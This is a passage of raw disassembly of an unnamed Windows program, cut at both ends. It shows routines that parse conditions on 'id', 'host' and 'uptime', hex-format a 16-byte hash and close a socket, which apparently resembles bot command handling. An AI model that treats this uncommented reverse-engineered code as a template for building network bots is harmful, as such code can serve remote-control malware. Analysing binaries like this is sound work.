2000h call sub_436840 mov ecx, [esp+arg_2004] lea eax, [esp+arg_2008] push eax push ecx lea edx, [esp+8] push 2000h push edx nop call near ptr 77C3FF8Ah mov ecx, [esp+10h+arg_2000] add esp, 10h lea eax, [esp+0] push eax call sub_401582 add esp, 2000h retn sub_412900 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_412970 proc near ; CODE XREF: sub_401118j var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_412970 push eax mov al, [esp+0Ch+arg_0] mov large fs:0, esp sub esp, 30h test al, al push esi mov esi, ecx jz short loc_4129A7 xor al, al pop esi mov ecx, [esp+3Ch+var_C] mov large fs:0, ecx add esp, 3Ch retn 10h ; --------------------------------------------------------------------------- loc_4129A7: ; CODE XREF: sub_412970+21j lea ecx, [esp+40h+var_3C] call sub_401424 mov al, [esp+40h+arg_4] mov [esp+40h+var_4], 0 test al, al jz short loc_4129C8 mov eax, dword_4470F0 push eax jmp short loc_4129CF ; --------------------------------------------------------------------------- loc_4129C8: ; CODE XREF: sub_412970+4Ej mov ecx, dword_4470F8 push ecx loc_4129CF: ; CODE XREF: sub_412970+56j lea ecx, [esp+44h+var_3C] call sub_4015D7 push ebx lea ecx, [esp+44h+var_24] call sub_401424 mov edx, [esp+44h+arg_8] mov eax, [esp+44h+arg_C] push edx push eax lea ecx, [esp+4Ch+var_3C] mov byte ptr [esp+4Ch+var_4], 1 call sub_4017E4 push eax lea ecx, [esp+50h+var_24] push offset dword_443CDC push ecx call sub_40102D add esp, 14h lea ecx, [esp+44h+var_24] call sub_4014D3 push eax mov ecx, esi call sub_401582 lea ecx, [esp+44h+var_24] mov bl, al mov byte ptr [esp+44h+var_4], 0 call sub_401226 lea ecx, [esp+44h+var_3C] mov [esp+44h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+44h+var_C] mov al, bl pop ebx pop esi mov large fs:0, ecx add esp, 3Ch retn 10h sub_412970 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_412AA0 proc near ; CODE XREF: sub_401848j arg_2000 = dword ptr 2004h arg_2004 = dword ptr 2008h arg_2008 = dword ptr 200Ch arg_200C = dword ptr 2010h arg_2010 = dword ptr 2014h arg_2014 = byte ptr 2018h mov eax, 2000h call sub_436840 mov ecx, [esp+arg_2010] lea eax, [esp+arg_2014] push eax push ecx lea edx, [esp+8] push 2000h push edx nop call near ptr 77C3FF8Ah mov eax, [esp+10h+arg_200C] mov edx, [esp+10h+arg_2008] add esp, 10h lea ecx, [esp+0] push eax mov eax, [esp+4+arg_2004] push ecx mov ecx, [esp+8+arg_2000] push edx push eax call sub_401118 add esp, 2000h retn sub_412AA0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 3 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_412B20 proc near ; CODE XREF: sub_401D0Cj push esi mov esi, ecx call sub_401FB9 mov eax, [esi+1Ch] inc eax mov [esi+1Ch], eax pop esi retn sub_412B20 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_412B50 proc near ; CODE XREF: sub_401FB9j push esi mov esi, ecx xor al, al mov [esi+16h], al mov [esi+15h], al mov eax, [esi+18h] push eax nop call near ptr 71AB9639h mov ecx, offset word_448C8E mov dword ptr [esi+18h], 0FFFFFFFFh call sub_401537 pop esi retn sub_412B50 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_412B90 proc near ; CODE XREF: sub_401721j arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov dl, [ecx] xor ecx, ecx mov [eax], dl mov [eax+4], ecx mov [eax+8], ecx mov [eax+0Ch], ecx retn 4 sub_412B90 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_412BC0 proc near ; CODE XREF: sub_401B54j push esi mov esi, ecx mov eax, [esi+8] mov ecx, [esi+4] push eax push ecx mov ecx, esi call sub_40170D mov eax, [esi+4] mov edx, [esi+0Ch] sub edx, eax mov ecx, esi sar edx, 2 push edx push eax call sub_401294 sub_412BC0 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax pop esi retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_412C10 proc near ; CODE XREF: sub_401F00j var_24 = byte ptr -24h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_412C10 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push esi push 0 push 6 push 9 push 4Fh push 3 push 9 push 7 push 0Fh lea eax, [esp+48h+var_24] push 0Ch mov esi, ecx push eax call sub_4019B5 add esp, 28h push esi mov ecx, eax mov [esp+2Ch+var_4], 0 call sub_4017E4 add esi, 4 push eax push esi mov ecx, offset dword_447148 call sub_401591 sub_412C10 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+24h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+1Ch] pop esi mov large fs:0, ecx add esp, 24h retn ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_412CB0: ; CODE XREF: ___:loc_40100Aj mov eax, large fs:0 push 0FFFFFFFFh push offset loc_43994E push eax mov large fs:0, esp sub esp, 90h add ecx, 4 push ebp push esi mov esi, [esp+0A8h] lea ebp, [esi+7Eh] call sub_4017E4 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_412FD6 push ebx push edi push offset asc_443600 ; " " lea eax, [esp+44h] push 1 push eax mov ecx, esi call sub_4016AE push offset asc_443600 ; " " lea ecx, [esp+2Ch] push 2 push ecx mov ecx, esi mov dword ptr [esp+0B4h], 0 call sub_4016AE push offset asc_443600 ; " " lea edx, [esp+14h] push 3 push edx mov ecx, esi mov byte ptr [esp+0B4h], 1 call sub_4016AE push offset asc_443600 ; " " lea eax, [esp+74h] push 0 push eax mov ecx, esi mov byte ptr [esp+0B4h], 2 call sub_4016AE mov edi, eax lea ecx, [esp+10h] mov byte ptr [esp+0A8h], 3 call sub_4013D9 lea ecx, [esp+28h] mov ebx, eax call sub_4013D9 lea ecx, [esp+40h] add ebx, eax call sub_4013D9 mov ecx, edi add ebx, eax call sub_4013D9 lea ecx, [esp+70h] lea edi, [ebx+eax+4] mov byte ptr [esp+0A8h], 2 call sub_401226 lea ecx, [esp+58h] push edi push ecx mov ecx, esi call sub_401E2E push offset asc_443600 ; " " lea edx, [esp+8Ch] push 4 push edx mov ecx, esi mov byte ptr [esp+0B4h], 4 call sub_4016AE lea ecx, [esp+70h] push 1 mov bl, 5 push ecx mov ecx, eax mov [esp+0B0h], bl call sub_401E2E push eax mov ecx, ebp mov byte ptr [esp+0ACh], 6 call sub_40200E lea ecx, [esp+70h] mov [esp+0A8h], bl call sub_401226 mov byte ptr [esp+0A8h], 4 lea ecx, [esp+88h] call sub_401226 lea edx, [esp+58h] mov ecx, esi push edx call sub_40200E push offset asc_443D30 ; "!=" lea ecx, [esp+2Ch] call sub_4012EE test eax, eax jnz short loc_412E35 xor edi, edi loc_412E35: ; CODE XREF: ___:00412E31j push offset asc_443D2C ; "==" lea ecx, [esp+2Ch] call sub_4012EE test eax, eax jnz short loc_412E4C mov edi, 1 loc_412E4C: ; CODE XREF: ___:00412E45j push offset asc_443D28 ; ">" lea ecx, [esp+2Ch] call sub_4012EE test eax, eax jnz short loc_412E63 mov edi, 2 loc_412E63: ; CODE XREF: ___:00412E5Cj push offset asc_443D24 ; "<" lea ecx, [esp+2Ch] call sub_4012EE test eax, eax jnz short loc_412E7A mov edi, 3 loc_412E7A: ; CODE XREF: ___:00412E73j push offset aId ; "id" lea ecx, [esp+44h] call sub_4012EE test eax, eax jnz short loc_412ED4 test edi, edi jnz short loc_412EAA lea ecx, [esp+10h] call sub_4017E4 push eax mov ecx, offset word_44758A call sub_4012EE test eax, eax jz short loc_412ED4 jmp short loc_412EC7 ; --------------------------------------------------------------------------- loc_412EAA: ; CODE XREF: ___:00412E8Ej cmp edi, 1 jnz short loc_412ED4 lea ecx, [esp+10h] call sub_4017E4 push eax mov ecx, offset word_44758A call sub_4012EE test eax, eax jnz short loc_412ED4 loc_412EC7: ; CODE XREF: ___:00412EA8j push 0 push esi mov ecx, offset byte_4472A7 call sub_401A32 loc_412ED4: ; CODE XREF: ___:00412E8Aj ; ___:00412EA6j ... push offset aHost ; "host" lea ecx, [esp+44h] call sub_4012EE test eax, eax jnz short loc_412F27 test edi, edi jnz short loc_412F08 lea ecx, [esp+10h] call sub_4017E4 push eax mov ecx, offset byte_4D60CD call sub_4013E3 test eax, eax jnz loc_412F89 jmp short loc_412F7C ; --------------------------------------------------------------------------- loc_412F08: ; CODE XREF: ___:00412EE8j cmp edi, 1 jnz short loc_412F89 lea ecx, [esp+10h] call sub_4017E4 push eax mov ecx, offset byte_4D60CD call sub_4013E3 test eax, eax jz short loc_412F89 jmp short loc_412F7C ; --------------------------------------------------------------------------- loc_412F27: ; CODE XREF: ___:00412EE4j push offset aUptime ; "uptime" lea ecx, [esp+44h] call sub_4012EE test eax, eax jnz short loc_412F89 lea ecx, [esp+10h] call sub_4017E4 push eax call near ptr 77C1BF18h nop add esp, 4 mov ebx, eax call sub_401654 test edi, edi jnz short loc_412F5D cmp eax, ebx jz short loc_412F89 jmp short loc_412F7C ; --------------------------------------------------------------------------- loc_412F5D: ; CODE XREF: ___:00412F55j cmp edi, 1 jnz short loc_412F68 cmp eax, ebx jnz short loc_412F89 jmp short loc_412F7C ; --------------------------------------------------------------------------- loc_412F68: ; CODE XREF: ___:00412F60j cmp edi, 2 jnz short loc_412F73 cmp eax, ebx jle short loc_412F89 jmp short loc_412F7C ; --------------------------------------------------------------------------- loc_412F73: ; CODE XREF: ___:00412F6Bj cmp edi, 3 jnz short loc_412F89 cmp eax, ebx jge short loc_412F89 loc_412F7C: ; CODE XREF: ___:00412F06j ; ___:00412F25j ... push 0 push esi mov ecx, offset byte_4472A7 call sub_401A32 loc_412F89: ; CODE XREF: ___:00412F00j ; ___:00412F0Bj ... lea ecx, [esp+58h] mov byte ptr [esp+0A8h], 2 call sub_401226 lea ecx, [esp+10h] mov byte ptr [esp+0A8h], 1 call sub_401226 lea ecx, [esp+28h] mov byte ptr [esp+0A8h], 0 call sub_401226 lea ecx, [esp+40h] mov dword ptr [esp+0A8h], 0FFFFFFFFh call sub_401226 pop edi mov al, 1 pop ebx jmp short loc_412FD8 ; --------------------------------------------------------------------------- loc_412FD6: ; CODE XREF: ___:00412CE9j mov al, 1 loc_412FD8: ; CODE XREF: ___:00412FD4j mov ecx, [esp+98h] pop esi pop ebp mov large fs:0, ecx add esp, 9Ch retn 4 ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 0E0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4130E0 proc near ; CODE XREF: sub_401654j call near ptr 27E0716h nop mov ecx, eax mov eax, 10624DD3h mul ecx mov ecx, edx mov eax, 0C22E4507h shr ecx, 6 imul ecx mov eax, edx add eax, ecx sar eax, 10h mov edx, eax shr edx, 1Fh add eax, edx retn sub_4130E0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_413120 proc near ; CODE XREF: sub_401FFAj var_12 = byte ptr -12h var_11 = byte ptr -11h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_413120 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push ebx push esi mov esi, ecx push edi mov [esp+20h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401749 lea ecx, [esi+32h] mov [esp+20h+var_4], 0 call sub_401749 lea edi, [esi+60h] lea eax, [esp+20h+var_12] push eax mov ecx, edi mov byte ptr [esp+24h+var_4], 1 call sub_401F05 sub_413120 endp ; --------------------------------------------------------------------------- lea ecx, [esp+0Fh] lea ebx, [esi+6Ch] push ecx mov ecx, ebx mov byte ptr [esp+20h], 2 call sub_401843 ; --------------------------------------------------------------------------- mov ecx, edi mov byte ptr [esp+1Ch], 3 mov dword ptr [esi], offset off_43E044 call sub_401924 mov ecx, ebx call sub_401C62 mov ecx, [esp+14h] mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx add esp, 14h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4131F0 proc near ; CODE XREF: sub_401CF8j ___:00401E10j push esi mov esi, ecx call sub_401C8F sub_4131F0 endp ; --------------------------------------------------------------------------- test byte ptr [esp+8], 1 jz short loc_413208 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_413208: ; CODE XREF: ___:004131FDj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_413220 proc near ; CODE XREF: sub_401C8Fj var_10 = dword ptr -10h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_413220 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ebx push esi mov esi, ecx push edi mov [esp+1Ch+var_10], esi mov dword ptr [esi], offset off_43E044 lea edi, [esi+60h] mov [esp+1Ch+var_4], 3 mov ecx, edi call sub_401924 lea ebx, [esi+6Ch] mov ecx, ebx call sub_401C62 mov ecx, ebx mov byte ptr [esp+1Ch+var_4], 2 call sub_4014B5 sub_413220 endp ; --------------------------------------------------------------------------- mov ecx, edi mov byte ptr [esp+18h], 1 call sub_4011B8 ; --------------------------------------------------------------------------- lea ecx, [esi+32h] mov byte ptr [esp+18h], 0 call sub_401023 lea ecx, [esi+4] mov dword ptr [esp+18h], 0FFFFFFFFh call sub_401023 mov ecx, [esp+10h] pop edi pop esi pop ebx mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4132E0 proc near ; CODE XREF: sub_4019F6j var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4132E0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push 0 push 14h push 15h push 0Fh push 7 push 0Fh lea eax, [esp+58h+var_3C] push 0Ch mov esi, ecx push eax call sub_4019B5 add esp, 20h push esi mov ecx, eax mov [esp+44h+var_4], 0 call sub_4017E4 lea ecx, [esi+32h] push eax push ecx mov ecx, offset dword_447148 call sub_401591 sub_4132E0 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 push 0 push 0Ch push 9 push 1 lea edx, [esp+2Ch] push 8 push edx call sub_4019B5 add esp, 18h push esi mov ecx, eax mov dword ptr [esp+40h], 1 call sub_4017E4 add esi, 4 push eax push esi mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+1Ch] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 mov ecx, [esp+34h] pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4133D0 proc near ; CODE XREF: sub_401CD0j var_14 = dword ptr -14h var_10 = byte ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 push 0FFFFFFFFh push offset SEH_4133D0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx lea ecx, [esp+18h+arg_0] mov [esp+18h+var_4], 0 call sub_4017E4 test eax, eax jz short loc_413477 lea ecx, [esp+18h+var_14] call sub_402252 add esi, 6Ch lea eax, [esp+18h+var_10] push eax mov ecx, esi call sub_4018F2 mov ecx, [eax] lea edx, [esp+18h+var_10] mov [esp+18h+var_14], ecx push edx mov ecx, esi call sub_40114A push eax lea ecx, [esp+1Ch+var_14] call sub_401339 test al, al jz short loc_413477 loc_413438: ; CODE XREF: sub_4133D0+A5j lea eax, [esp+18h+arg_0] lea ecx, [esp+18h+var_14] push eax call sub_40135C mov ecx, [eax] add ecx, 19h call sub_401B72 test eax, eax lea ecx, [esp+18h+var_14] jz short loc_41349C call sub_40118B lea ecx, [esp+18h+var_10] push ecx mov ecx, esi call sub_40114A push eax lea ecx, [esp+1Ch+var_14] call sub_401339 test al, al jnz short loc_413438 loc_413477: ; CODE XREF: sub_4133D0+2Ej ; sub_4133D0+66j lea ecx, [esp+18h+arg_0] mov [esp+18h+var_4], 0FFFFFFFFh call sub_401226 xor eax, eax pop esi mov ecx, [esp+14h+var_C] mov large fs:0, ecx add esp, 14h retn 18h ; --------------------------------------------------------------------------- loc_41349C: ; CODE XREF: sub_4133D0+86j call sub_40135C mov esi, [eax] lea ecx, [esp+18h+arg_0] mov [esp+18h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+18h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 14h retn 18h sub_4133D0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_413510 proc near ; CODE XREF: sub_402112j var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 push 0FFFFFFFFh push offset SEH_413510 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push ebp push esi push edi mov ebx, ecx lea ecx, [esp+28h+arg_0] mov [esp+28h+var_4], 0 call sub_4017E4 test eax, eax jz loc_4135E3 lea ecx, [esp+28h+var_18] call sub_401037 lea ebp, [ebx+60h] lea eax, [esp+28h+var_14] push eax mov ecx, ebp call sub_401983 mov ecx, [eax] lea edx, [esp+28h+var_14] mov [esp+28h+var_18], ecx push edx mov ecx, ebp call sub_402234 push eax lea ecx, [esp+2Ch+var_18] call sub_401AD7 test al, al jz short loc_4135E3 loc_41357F: ; CODE XREF: sub_413510+D1j lea ecx, [esp+28h+var_18] call sub_4011D1 mov edi, [eax] sub esp, 18h lea eax, [esp+40h+arg_0] mov ecx, esp mov [esp+40h+var_10], esp push eax call sub_4014C9 mov ecx, ebx call sub_401CD0 mov esi, eax test esi, esi jz short loc_4135AC mov edi, [esi] loc_4135AC: ; CODE XREF: sub_413510+98j lea ecx, [esp+28h+arg_0] push ecx mov ecx, edi call sub_401B72 test eax, eax jz short loc_41360B test esi, esi jnz short loc_41360B lea ecx, [esp+28h+var_18] call sub_4018B6 lea edx, [esp+28h+var_14] mov ecx, ebp push edx call sub_402234 push eax lea ecx, [esp+2Ch+var_18] call sub_401AD7 test al, al jnz short loc_41357F loc_4135E3: ; CODE XREF: sub_413510+31j ; sub_413510+6Dj lea ecx, [esp+28h+arg_0] mov [esp+28h+var_4], 0FFFFFFFFh call sub_401226 xor eax, eax loc_4135F6: ; CODE XREF: sub_413510+10Ej mov ecx, [esp+28h+var_C] pop edi pop esi pop ebp mov large fs:0, ecx pop ebx add esp, 18h retn 18h ; --------------------------------------------------------------------------- loc_41360B: ; CODE XREF: sub_413510+AAj ; sub_413510+AEj lea ecx, [esp+28h+arg_0] mov [esp+28h+var_4], 0FFFFFFFFh call sub_401226 mov eax, edi jmp short loc_4135F6 sub_413510 endp ; --------------------------------------------------------------------------- db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_413670 proc near ; CODE XREF: sub_401F46j var_14 = dword ptr -14h var_10 = byte ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_18 = byte ptr 1Ch push 0FFFFFFFFh push offset SEH_413670 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 lea ecx, [esp+14h+arg_0] mov [esp+14h+var_4], 1 call sub_4017E4 test eax, eax jz short loc_413714 lea ecx, [esp+14h+var_14] call sub_401E1F lea eax, [esp+14h+var_10] lea ecx, [esp+14h+arg_18] push eax call sub_4012E9 mov ecx, [eax] lea edx, [esp+14h+var_10] mov [esp+14h+var_14], ecx push edx lea ecx, [esp+18h+arg_18] call sub_401D89 push eax lea ecx, [esp+18h+var_14] call sub_401D5C test al, al jz short loc_413714 loc_4136D6: ; CODE XREF: sub_413670+A2j lea eax, [esp+14h+arg_0] lea ecx, [esp+14h+var_14] push eax call sub_401FA5 mov ecx, [eax] call sub_401B72 test eax, eax jz short loc_413746 lea ecx, [esp+14h+var_14] call sub_4020A4 lea ecx, [esp+14h+var_10] push ecx lea ecx, [esp+18h+arg_18] call sub_401D89 push eax lea ecx, [esp+18h+var_14] call sub_401D5C test al, al jnz short loc_4136D6 loc_413714: ; CODE XREF: sub_413670+2Bj ; sub_413670+64j lea ecx, [esp+14h+arg_0] mov byte ptr [esp+14h+var_4], 0 call sub_401226 lea ecx, [esp+14h+arg_18] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401578 ; --------------------------------------------------------------------------- xor eax, eax mov ecx, [esp+14h+var_C] mov large fs:0, ecx add esp, 14h retn 24h ; --------------------------------------------------------------------------- loc_413746: ; CODE XREF: sub_413670+7Dj push esi lea ecx, [esp+18h+var_14] call sub_401FA5 mov esi, [eax] lea ecx, [esp+18h+arg_0] mov byte ptr [esp+18h+var_4], 0 call sub_401226 lea ecx, [esp+18h+arg_18] mov [esp+18h+var_4], 0FFFFFFFFh call sub_401578 sub_413670 endp ; --------------------------------------------------------------------------- mov ecx, [esp+0Ch] mov eax, esi pop esi mov large fs:0, ecx add esp, 14h retn 24h ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4137E0 proc near ; CODE XREF: sub_4011DBj var_A4 = byte ptr -0A4h var_8C = byte ptr -8Ch var_74 = byte ptr -74h var_64 = byte ptr -64h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_18 = dword ptr 1Ch push 0FFFFFFFFh push offset SEH_4137E0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 98h push esi xor esi, esi lea ecx, [esp+0A8h+arg_0] mov [esp+0A8h+var_4], esi call sub_4017E4 test eax, eax jz loc_413913 lea eax, [esp+0A8h+var_64] push eax call sub_401A55 add esp, 4 lea ecx, [esp+0A8h+var_A4] call sub_401424 push offset byte_446F60 lea ecx, [esp+0ACh+var_A4] mov byte ptr [esp+0ACh+var_4], 1 call sub_4015D7 lea ecx, [esp+0A8h+arg_0] call sub_4013D9 push eax lea ecx, [esp+0ACh+arg_0] call sub_4014D3 lea ecx, [esp+0ACh+var_64] push eax push ecx call sub_401C12 lea edx, [esp+0B4h+var_64] lea eax, [esp+0B4h+var_74] push edx push eax call sub_402158 add esp, 14h loc_41387B: ; CODE XREF: sub_4137E0+E8j lea ecx, [esp+0A8h+var_8C] call sub_401424 xor ecx, ecx lea edx, [esp+0A8h+var_8C] mov cl, [esp+esi+0A8h+var_74] mov byte ptr [esp+0A8h+var_4], 2 push ecx push offset a2_2x ; "%2.2X" push edx call sub_40102D add esp, 0Ch lea eax, [esp+0A8h+var_8C] lea ecx, [esp+0A8h+var_A4] push eax call sub_4016BD lea ecx, [esp+0A8h+var_8C] mov byte ptr [esp+0A8h+var_4], 1 call sub_401226 inc esi cmp esi, 10h jl short loc_41387B mov edx, [esp+0A8h+arg_18] lea ecx, [esp+0A8h+var_A4] push ecx lea ecx, [edx+15h] call sub_401B72 test eax, eax mov byte ptr [esp+0A8h+var_4], 0 lea ecx, [esp+0A8h+var_A4] jnz short loc_41390E call sub_401226 lea ecx, [esp+0A8h+arg_0] mov [esp+0A8h+var_4], 0FFFFFFFFh call sub_401226 mov al, 1 jmp short loc_41392C ; --------------------------------------------------------------------------- loc_41390E: ; CODE XREF: sub_4137E0+10Cj call sub_401226 loc_413913: ; CODE XREF: sub_4137E0+33j lea ecx, [esp+0A8h+arg_0] mov [esp+0A8h+var_4], 0FFFFFFFFh call sub_401226 xor al, al loc_41392C: ; CODE XREF: sub_4137E0+12Cj mov ecx, [esp+0A8h+var_C] pop esi mov large fs:0, ecx add esp, 0A4h retn 1Ch sub_4137E0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4139B0 proc near ; CODE XREF: sub_40191Fj var_34 = dword ptr -34h var_2C = dword ptr -2Ch var_24 = byte ptr -24h var_14 = dword ptr -14h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_18 = byte ptr 1Ch push 0FFFFFFFFh push offset SEH_4139B0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx sub esp, 18h lea eax, [esp+30h+arg_18] mov ecx, esp mov [esp+30h+var_14], esp push eax mov [esp+34h+var_4], 1 call sub_4014C9 mov ecx, esi call sub_402112 test eax, eax jz short loc_413A5E sub esp, 0Ch add eax, 54h mov ecx, esp mov [esp+24h+var_14], esp push eax call sub_40171C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+40h] mov ecx, esp mov [esp+40h+var_14], esp push edx mov [esp+44h+var_8], 2 call sub_4014C9 mov ecx, esi mov [esp+40h+var_8], 1 call sub_401F46 ; --------------------------------------------------------------------------- test eax, eax jz short loc_413A5E lea ecx, [esp+40h+var_24] mov byte ptr [esp+40h+var_2C], 0 call sub_401226 lea ecx, [esp+40h+var_C] mov [esp+40h+var_2C], 0FFFFFFFFh call sub_401226 mov al, 1 mov ecx, [esp+40h+var_34] mov large fs:0, ecx pop esi add esp, 14h retn 30h ; --------------------------------------------------------------------------- loc_413A5E: ; CODE XREF: sub_4139B0+3Fj ; sub_4139B0+79j lea ecx, [esp+18h+arg_0] mov byte ptr [esp+18h+var_4], 0 call sub_401226 lea ecx, [esp+18h+arg_18] mov [esp+18h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+18h+var_C] xor al, al mov large fs:0, ecx pop esi add esp, 14h retn 30h sub_4139B0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_413AE0: ; CODE XREF: ___:00401393j push 0FFFFFFFFh push offset loc_439B08 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov eax, [esp+18h] push esi mov esi, ecx sub esp, 18h mov ecx, esp mov [esp+1Ch], esp push eax call sub_401861 mov edx, [esp+30h] sub esp, 18h mov ecx, esp mov [esp+4Ch], esp push edx mov dword ptr [esp+44h], 0 call sub_401861 mov ecx, esi mov dword ptr [esp+40h], 0FFFFFFFFh call sub_40191F mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn 8 ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_413B70 proc near ; CODE XREF: sub_401181j var_3C = byte ptr -3Ch var_20 = byte ptr -20h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_4 = byte ptr 8 arg_18 = dword ptr 1Ch arg_1C = dword ptr 20h push 0FFFFFFFFh push offset SEH_413B70 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 34h push ebx push ebp mov ebp, [esp+48h+arg_18] xor ebx, ebx cmp ebp, ebx mov [esp+48h+var_4], ebx jz loc_413CB9 lea ecx, [esp+48h+arg_0] call sub_4017E4 test eax, eax jz loc_413CB9 push esi push edi push offset asc_443C84 ; ":" lea eax, [esp+54h+var_3C] push ebx push eax lea ecx, [esp+5Ch+arg_0] xor esi, esi call sub_4016AE push offset byte_446F60 mov ecx, eax mov byte ptr [esp+54h+var_4], 1 call sub_4012EE lea ecx, [esp+50h+var_3C] mov edi, eax mov byte ptr [esp+50h+var_4], bl call sub_401226 cmp edi, ebx jz loc_413C93 add ebp, 54h loc_413BF0: ; CODE XREF: sub_413B70+11Dj push 15h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov dword ptr [esp+4Ch+var_3C], eax cmp eax, ebx mov byte ptr [esp+4Ch], 2 jz short loc_413C10 mov ecx, eax call sub_401F2D jmp short loc_413C12 ; --------------------------------------------------------------------------- loc_413C10: ; CODE XREF: sub_413B70+95j xor eax, eax loc_413C12: ; CODE XREF: sub_413B70+9Ej push offset asc_443C84 ; ":" lea ecx, [esp+50h+var_20] push esi push ecx lea ecx, [esp+58h+arg_4] mov [esp+58h], bl mov [esp+58h+arg_1C], eax call sub_4016AE mov ecx, [esp+4Ch+arg_1C] push eax mov byte ptr [esp+50h], 3 call sub_40200E lea ecx, [esp+4Ch+var_20] mov [esp+4Ch], bl call sub_401226 lea edx, [esp+4Ch+arg_1C] mov ecx, ebp push edx call sub_40147E ; --------------------------------------------------------------------------- inc esi push offset asc_443C84 ; ":" lea eax, [esp+54h+var_3C] push esi push eax lea ecx, [esp+5Ch+arg_0] call sub_4016AE push offset byte_446F60 mov ecx, eax mov byte ptr [esp+54h+var_4], 1 call sub_4012EE lea ecx, [esp+50h+var_3C] mov edi, eax mov byte ptr 